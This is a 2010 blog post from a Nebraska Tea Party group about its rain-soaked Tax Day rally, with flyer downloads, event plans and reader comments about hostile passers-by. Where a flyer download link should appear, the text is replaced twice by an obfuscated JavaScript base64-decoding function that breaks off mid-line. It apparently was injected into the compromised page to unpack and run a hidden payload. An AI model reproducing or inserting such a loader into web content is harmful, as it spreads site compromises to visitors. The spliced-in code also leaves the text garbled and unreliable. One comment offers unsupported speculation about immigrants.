There will be additional follow-up coming regarding our Tax Day Tea Party, but here’s a start…
On December 22, we had what has been dubbed the “Ice Tea Party” in <10 degree weather in freezing rain, after Senator Ben Nelson “iced” the Cornhusker Kickback with Reid and Schumer, paving the way to the passage of the health care law. We thought that was our biggest challenge in terms of forces of nature.
"Cut Taxes Create Jobs" 4/15/10 Tea Party Sign
Thursday, April 15's forecast didn't look promising; there was a 60% chance of scattered showers.
Within minutes of starting our program, the drops began to fall from the sky. Then it started to pour. Only a handful of the hundreds left.
We decided to trudge on, but the periodic blasting downpours were saturating everyone and everything, and understandably, with the peroidic kick up of the wind, some folks decided they'd had enough.
Shot of the crowd at the Capitol, April 15, Tax Day Tea Party
A considerable number appeared determined to stick it out as long as we were. Hearty cheers came from the crowd when I added to the conclusion of of a feisty speech about how we're not Republicans or Democrats, we're Americans, that we're not just "Americans", but "brave, hardy Americans".
After about 45 minutes, we had determined that not only were our guests taxed enough already, they were more than wet enough already, right along with the sound system, the tablecloths, the speech notes, and all the handouts.
Shot of the crowd at the Capitol, April 15, Tax Day Tea Party
I made a few announcements, gave thanks for the hearty folks who'd stuck it out, and wished everyone a good evening. (And should have added a dry, warm one.)
Among the announcements, I noted that we may still have some dry handouts available, but that turned out not to be the case.
There were two handouts we'd intended to distribute, which I have now made available for download.
1) Grassroots in Nebraska informational flyer with resources listed and suggestions for taking action. You can download and print by clicking function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
2) Educational / informational flyer on sovereignty and nullification. Entitled "What Can We Do About the Health Care Bill?" explains sovereignty and the Constitutional options available for fighting against it the health care law. In addition to providing information for us all, you may find it helpful if you are trying to educate others. You can download and print from HERE.
The next upcoming event is scheduled for May 11 at 6:00pm. May 11 is Nebraska's primary election date. We are planning an open house that will include a pizza potluck, viewing of a film, and watching the election returns come in. We've had our hands full working on the Sovereignty Resolution and the tea party, so we'll take a few days break and then finalize our plans for that evening. If you are not on our email list, click HERE so you will be sure to receive information about the May 11 and other upcoming events.
Ben Nice Known' Ya 4/15/10
In the next few days, we will continue posting follow-up information about the tea party, including the text from some of the speeches, and when available, video of some of the elements we were not able to do because we cut the evening short.
Our two best photographers were not in attendance at this event. If you have any photos of the event you'd like to share, leave a comment, below, and we'll work out how to upload them. If any brave souls kept taking shots after the rain really started to pour, we'd be particularly interested in posting a few of those.
Here’s one I took right before the event started. With no umbrella, once the rain started pouring I had to get my cameraphone safely put away in my pocket where it stayed (mostly) dry. http://yfrog.com/9wng7j
Thank you! Nice shot! This looks like a good shot of the crowd before the exodus from across the street.
Would you mind if I post your photo here by linking to it?
Fine with me!
Thanks!
Thanks for the update on your event.
I attended the April 15th Grand Island rally near Representative Adrian Smiths office on 2nd street. I had a sign that said “Balance the Budget”. I was walking up and down the sidewalk next to 2nd street when a car full of younger females slowed down to call me a f%&*&^ racist. I immediately lowered my sign down to eye level and made sure some one had not switched it when I was not looking. Nope, it still read “Balance the Budget” Gee Whiz I did not realize that in some peoples minds living within your means is tantamount to racism. Sadly I will be long dead in the grave when these same girls will be paying dearly for today’s excesses.
I must also report that more than a few times cars full of Hispanic riders would drive by and stick the Mexican flag out their window and give the crowd the middle finger salute while shouting f@#% you f^%$you…
At the very least I want to be able tell my Grandchildren That I tried to do something about our out of control government. Tell them that this present unrepresentative representation is not what the Governed Meant.
Patrick,
Thank you so much for stopping by and sharing this information with us. I must confess that I’m very surprised to hear all of this occurred in Grand Island. As you know, a number our events have been held at the Capitol which is in downtown Lincoln. One would think for a number of reasons that our events would attract regular episodes just such as you’ve described, but we’ve not had any. Last week we held our event on a weekday evening for the first time so we had an increased amount of traffic around the area. Instead of the random supportive honker driving by, honks and thumbs up occurred at regular intervals.
If you happen by again, I’d be interested in your thoughts regarding what you might think fueling such an outspoken vitriol in Grand Island vs Lincoln. This charge of racism for no explicable reason is becoming more rampant and blatant. You saw it with Nancy Pelosi traipsing across the street on the day of health care vote, sledge hammer in hand, immediately followed by charges from John Lewis of racism. We noticed this right here in Nebraska in advocating for the Sovereignty Resolution. Watch the site for the addition of video from the NE Unicameral debate, 4/13/10. The message from opponents: if you support the Tenth Amendment, you’re a racist.
I suppose we’d should all take comfort in knowing that there are no coherent arguments in opposition to what we protest at these tea parties and that’s why it’s the first argument hurled out.
Concerning the Grand Island event I would add that by far we had the thumbs up and supportive horn honking. I noticed a couple of signs that said honk if you agree and most did.
I have no clue about the racism accusations only that the alphabet mainstream media portrays Tea Party participants as racist among other things. Maybe these people picked up on that and and thought it applied to us in Grand Island.
Grand Islands largest employer JB Swift is a meatpacking company that has many Hispanic workers among other races. ICE had a raid a while back that arrested a large number illegal immigrants. I have no way of knowing the numbers but I would guess that Grand Island has a large number of illegal immigrants whom feel threatened by the Tea Party movement because illegal immigration is a issue to some of the Tea Party participants.